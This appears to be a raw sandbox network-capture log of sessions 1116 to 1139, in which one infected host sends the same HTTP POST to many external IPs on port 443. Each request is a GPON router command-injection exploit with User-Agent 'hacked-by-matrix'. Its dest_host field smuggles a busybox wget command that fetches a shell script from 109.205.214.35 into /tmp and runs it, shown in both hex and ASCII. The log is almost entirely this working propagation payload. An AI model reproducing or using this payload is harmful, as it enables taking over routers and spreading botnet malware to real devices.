Mar 21, 2024 05:26:34.287991047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.23	41976	178.88.152.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288007975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.23	60416	2.75.14.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288031101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.23	41122	178.204.95.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288031101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.23	41368	109.158.220.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288039923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.23	55584	37.163.221.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288074970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.23	55422	178.37.73.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288078070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.23	57484	94.3.16.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288109064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.23	37896	2.214.46.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288140059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.23	34446	109.104.39.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288166046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.23	42504	210.146.151.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288181067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.23	39294	109.240.30.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288181067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.23	38568	118.247.245.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288191080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.23	39290	210.97.195.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288191080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.23	34130	94.58.82.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288232088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.23	47040	210.218.125.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288244009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.23	46420	210.186.196.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288252115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.23	37720	37.115.80.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288269043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.23	40492	178.146.14.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288274050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.23	49588	2.160.22.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288302898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.23	50106	79.18.159.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288316965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.23	40426	79.248.61.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288341999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.23	58128	94.242.134.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288373947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.23	47404	118.200.33.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288388014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.23	38654	37.82.173.2	443

Timestamp	Bytes transferred	Direction	Data
